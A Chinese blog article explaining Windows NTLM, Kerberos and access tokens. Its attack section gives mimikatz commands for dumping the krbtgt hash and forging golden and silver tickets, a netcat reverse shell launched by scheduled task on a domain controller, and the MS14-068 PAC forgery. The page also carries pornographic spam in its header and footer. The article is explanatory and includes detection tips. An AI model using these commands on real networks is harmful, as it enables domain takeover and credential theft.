亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

windows的認證協議是什么

發布時間:2021-10-12 15:11:13 來源:億速云 閱讀:269 作者:iii 欄目:編程語言

這篇文章主要介紹“windows的認證協議是什么”,在日常操作中,相信很多人在windows的認證協議是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”windows的認證協議是什么”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

一、NTLM認證

首先看一下NTLM hash的生成過程:

NTLM hash: password ----> 十六進制編碼 ----> Unicode轉換 ----> MD4加密 ----> 得到NTLM Hash
舉例
admin -> hex(16進制編碼) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

為了保證NTLM hash的機密性,在認證過程中,是不會直接傳遞NTLM hash的。NTLM認證分為兩種,詳情如下:

NTLM本地認證:客戶端發送用戶名等身份信息,服務端生成隨機16為challenge發給客戶端,客戶端使用NTLM hash加密challenge發給服務端。服務端通過用戶名找到NTLM hash然后加密challenge跟客戶端發送過來的比對,比對成功則認證成功。

NTLM網絡認證:這種情況適用于使用域賬號登錄的場景,這個時候服務端是沒有用戶的hash的。所以不一樣的地方是服務端會將用戶信息、challenge、客戶端返回的信息都發給域控,由域控做認證再返回結果。流程圖見下圖:

windows的認證協議是什么

二、kerberos認證

NTLM協議比較簡單,kerberos認證就比較復雜了,首先,介紹幾個概念。
Kerberos認證的是由三方來完成的,他們分別是client、server、KDC(Key Distribution Center)
其中KDC是由兩種服務所構成的,AS(Authentication Service)和TGS(Ticket Granting Service)
AS是用來為client生成TGT(Ticket Granting Ticket)的,TGS是用來為client生成某個服務的ST(service ticket)的,TGT是用來獲取ST的臨時憑證,ST是用來訪問某種服務所必須使用的票據。

第一步 client與AS交互
client發送: 用戶名 + 用戶密碼加密(用戶信息,時間戳等)

AS:根據用戶名找到用戶密碼,解密出用戶信息和事件戳,核實成功后認證成功,然后隨機生成一個session key
AS發送:用戶密碼加密(session key) + TGT(也就是krbtgt加密(用戶信息,session key))

注意:TGT中用戶唯一不知道的是krbtgt的密碼hash,所以有了這個hash,就可以自己偽造TGT,也就是所謂的金票據。

第二步 client與TGS交互
client發送:session key加密(用戶信息,時間戳等) + 需要訪問的服務名 + TGT
TGS:使用krbtgt密碼解密TGT,獲得session key 解密出用戶信息,與TGS中的用戶信息比對。認證成功后生成隨機的 server session key
TGS發送:session key加密(server session key) + ST(也就是對應服務端密碼加密(用戶信息,server session key))

注意:ST中用戶唯一不知道的是server的密碼hash,所以有了這個hash,就可以自己偽造ST,也就是所謂的銀票據。

第三步 client與server交互
client發送:server session key加密(用戶信息,時間戳等) + ST
server:使用自己的密碼解密ST,獲得server session key,然后將server session key解密后獲得的用戶信息和ST中的用戶信息比對,認證成功。

流程圖見下圖:

windows的認證協議是什么

上面的過程中,每次加密使用的密鑰基本都是不一樣的,是一次一密的一個很好的實踐。

Kerberos認證攻擊方法:

下面簡單講一下金票據的偽造和利用,使用工具為mimikatz。
1.在域控上獲取ntlm hash等信息

lsadump::dcsync /domain:[domain name] /user:krbtgt

2.生成金票據

privilege::debug  #提權
kerberos::golden /user:administrator /domain:[domain name]  /sid:[domain sid] /krbtgt:[krbtgt hash] /ptt  #生成票據并導入
# kerberos::golden /user:要偽造的域用戶(我們這一般寫域管理員) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

3.后續利用
①列舉域控上磁盤文件

net use \\AD01.test.com
dir \\AD01.test.com\c$

②反彈shell

nc.exe -lvp 9999  #監聽端口
copy C:\Users\Administrator\Desktop\nc.exe \\AD01.test.com\c$\nc.exe#將netcat拷貝到目標主機
schtasks /create /tn "ncshell" /tr "c:\nc.exe  1.1.1.1 9999 -e cmd.exe"  /sc once /st 19:13:00 /sd 2021/04/13 /s AD01.test.com /RU test\admin #反彈shell

③使用psexec直接執行命令:

PsExec64.exe \\AD01.test.com cmd.exe

銀票據的利用基本類似:

kerberos::golden /domain:test.com /sid:[sid] /target:計算機名稱.test.com /rc4:[server hash] /service:cifs /user:administrator /ptt

MS14-068原理

這里簡單介紹一下票據攻擊中大名鼎鼎的漏洞MS14-068
利用前提:

1.域控沒有打MS14-068的補丁(KB3011780)
2.拿下一臺加入域的計算機
3.有這臺域內計算機的域用戶密碼和Sid

背景信息:

kerberos協議中其實沒有client的權限信息,server并不知道client有什么權限。所以有了PAC(privilege attribute certificate),特權屬性證書,作為TGT的一部分。
為保證PAC自身合法性,其帶有兩個以krbtgt密碼為密鑰的簽名。

攻擊過程:

客戶端請求TGT,要求不包含PAC,拿到不包含PAC的TGT
客戶端偽造PAC,一般偽造成域管理員信息,然后隨便用MD5簽名一下
客戶端請求ST,發送TGT,同時指定將PAC包含在請求中(具體再在TGS_REQ的REQ_BODY中),指定其簽名方式為MD5
TGS收到請求后,解密TGT,不包含PAC,然后根據指定的簽名算法也就是MD5驗證在外部的PAC,驗證成功后,會再返回給client一個新的包含PAC的TGT
這樣client就可以拿到一個包含指定用戶權限的TGT

票據攻擊檢測:

1.根據工具特征,mimikatz和kekeo類似,攻擊參數特征非常明顯,可根據進程創建日志中的“kerberos::”等特征檢測。
2.微軟的ATA可根據ticket有效期檢測,TGT默認十小時有效,但mimikatz生成默認十年(由可選參數/ endin 控制)

三、令牌(token)

token是一個描述進程或者線程安全上下文的一個對象。不同的用戶登錄計算機后,都會生成一個Access Token,這個Token在用戶創建進程或者線程時會被使用不斷的拷貝。一般情況下,用戶雙擊運行一個程序,都會拷貝“explorer.exe”的Access Token。當用戶注銷后,系統將會使主令牌切換為模擬令牌,不會將令牌清除,只有在重啟機器后才會清除。

令牌內容:

用戶帳戶的安全標識符(SID)
用戶所屬的組的SID
用于標識當前登錄會話的登錄SID
用戶或用戶組所擁有的權限列表
所有者SID
主要組的SID
訪問控制列表
訪問令牌的來源
令牌是主要令牌還是模擬令牌
限制SID的可選列表
目前的模擬等級
其他統計數據

四、答疑

1、域控上的krbtgt賬號是怎么創建的?有默認隨機密碼還是隨機密碼?如何修改?

krbtgt是在創建域控的時候自動生成的,并且由系統給他隨機分配一個密碼。修改密碼是到Active Directory 用戶和計算機中,找到相關用戶,reset密碼,然后輸入指定的密碼。 指定的密碼不是很重要,因為系統將自動獨立于指定的密碼生成強密碼。

2、什么時候使用token?什么時候用kerberos?以及它們之間有什么關系?

token是在本地用的,kerberos是網絡認證用的。token里面有個authentication id字段,跟登錄會話關聯起來,然后登錄會話跟緩存憑據關聯起來,使用token登錄其他主機時,會使用緩存憑證去登錄其他機器。
網絡登錄不會緩存憑據,比如net use到目標主機就不會在目標主機上查到hash,通過incognito也找不到可利用的token,但是在本地主機上可以看到明文賬號密碼。

3、在受害主機偽造了域控進程的token后如何進一步利用?

可直接net use或者psexec執行命令。

4、既然域賬號NTLM認證是在域控上完成的,為什么登陸之后還是能夠獲取到NTLMhash?

如果是RDP方式登錄,是在遠程電腦上的進程中輸入明文的密碼,處理過程的前面部分類似本地登錄,也就是winlogon.exe -> 接收用戶輸入 -> lsass.exe。也就是RDP的目標機器接收了本地賬號并將其處理成hash,然后RDP目標機器再使用這個hash去域控上認證。

到此,關于“windows的認證協議是什么”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

剑阁县| 长兴县| 博爱县| 达孜县| 兰溪市| 海口市| 丰顺县| 许昌市| 南投县| 怀集县| 乌兰浩特市| 丽水市| 旅游| 新津县| 黑龙江省| 宁武县| 蒙城县| 布尔津县| 郸城县| 盐池县| 灵璧县| 甘孜县| 江都市| 衡南县| 台东县| 萨迦县| 岑巩县| 镇康县| 沂南县| 长汀县| 呼伦贝尔市| 天长市| 依兰县| 淳化县| 息烽县| 泰和县| 高尔夫| 太白县| 苍溪县| 克什克腾旗| 保山市|